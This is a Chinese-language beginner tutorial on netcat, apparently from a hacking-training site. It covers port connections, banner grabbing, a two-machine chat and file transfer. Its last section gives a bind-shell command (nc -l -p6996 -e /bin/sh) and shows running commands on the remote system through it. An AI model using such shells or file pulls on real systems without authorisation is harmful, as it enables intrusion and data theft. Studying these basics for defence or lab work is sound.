.NETcat 是每个黑客都应该熟悉的少数工具之一——例如 nmap、Metasploit、Wireshark 和其他少数几个工具。它简单,优雅,用途广泛。
例如,netcat 可用于:
·扫描以查看远程系统上的端口是否打开
·从远程系统获取服务器相关信息
·手动连接到网络服务
·远程管理
与 linux 世界中的许多应用程序一样,netcat 以客户端和服务器模式运行。这意味着在使用 ncat 时,我们必须指定一侧为服务器,一侧为客户端。
一、Netcat基础知识
让我们从查看 netcat的帮助。使用 netcat 时,命令只是“nc”。然后,要获取帮助屏幕,请键入;
kali >nc -h
注意几个关键的;
-e 执行
-l 监听模式
-n 数字模式(没有 DNS。它更快)
-p 指定端口
-u UDP 模式
-v 详细输出
二、创建一个简单的 TCP 连接
Netcat 用于创建简单的 TCP 或 UDP 连接到系统以查看端口和服务是否可用。因此,例如,如果我想连接到另一个 Kali 系统上的 SSH,我可以输入;
Kali>nc -vn 192.168.1.103 22
netcat 能够连接到远程服务器上的 OpenSSH(SSH-2.0-OpenSSH_4.7p1 Debian-8Ubuntu1)。
三、抓取头部信息
我们还可以使用 netcat 通过连接到端口 80,然后发送 HTTP / HEAD/1.0 请求来“抓取” Web 服务器上的相关信息。
kali>nc -vn 192.168.1.103 80
HEAD / HTTP/1.0
在输入 HEAD 请求以抓取相关信息,单击“Enter”
我们抓取了在 Ubuntu 上运行的 Apache 2.2.8 Web 服务器的相关信息。
四。在两台机器之间打开 TCP 连接以进行“聊天”
Netcat 能够在两台计算机之间创建简单的 TCP 或 UDP 连接,然后打开它们之间的通信通道。我们先在远程系统上打开一个监听器。
kali >nc -l –p6996
然后从远程机器连接到那个监听器
kali >nc 192.168.1.105 6996
连接后,我就可以开始输入我的信息,例如“What is the best place to learn hacking?”
然后,该消息将与侦听器一起出现在远程系统上。监听机器然后可以响应,"Without a doubt, Hackers-Arise!"”
...然后远程机器收到响应!
这样,我们就可以在任意两台机器之间创建一个私密的“聊天室”!
五、用Netcat传输文件
netcat 的简单神奇的功能之一是它能够在计算机之间传输文件。通过创建这个简单的连接,我们可以使用该连接在两台计算机之间传输文件。这对于网络管理员来说非常有用,对于黑客来说甚至更有用。Netcat 可用于从目标系统上传和下载文件。
让我们创建一个名为“hacker_trAIning”的文件。
kali > echo "This is first module in Hacker Fundamentals at Hackers-Arise" >hacker_training
然后,让我们使用 Linux 命令“cat”查看该文件的内容。
kali > cat hacker_training
现在,让我们在远程系统上打开一个监听器。
kali >nc -l –p6996
接下来,让我们将文件发送到远程系统。
kali >nc 192.168.1.103 6996 <hacker_training
请注意,我们使用<将文件定向到 netcat。
最后,回到我们的监听系统,我们应该会发现文件已经被传输并出现在屏幕上!
六、使用 netcat 进行远程管理
1.对netcat最恶意的使用——也是对黑客最有效的——可能是使用netcat 进行远程管理的能力。我们可以利用 netcat 执行命令的能力,在监听系统上给远程连接一个 shell。我们可以在 Linux/Unix 机器上通过使用 -e(执行)使 /bin/sh 可用于远程连接,如下所示。如果我们要连接到 windows 机器,我们可以使用cmd.exe (-e cmd.exe) 而不是 /bin/sh。
kali >nc -l –p6996 -e /bin/sh
2.现在,当我连接到远程机器时,我应该能够在远程系统上获得一个 shell。请注意,当我连接到远程系统时,我只得到一个空行,没有命令提示符,什么也没有(如果我们连接到 Windows 系统,我们将得到传统的 Windows C:> 提示符)。这可能会让新手感到困惑。
3.如果我们然后键入“ls -l”,我们会从我们在远程系统上启动 netcat 侦听器的目录中获得一个目录列表,当我们输入“ifconfig”时,我们可以看到它返回了我们远程系统的 IP 地址.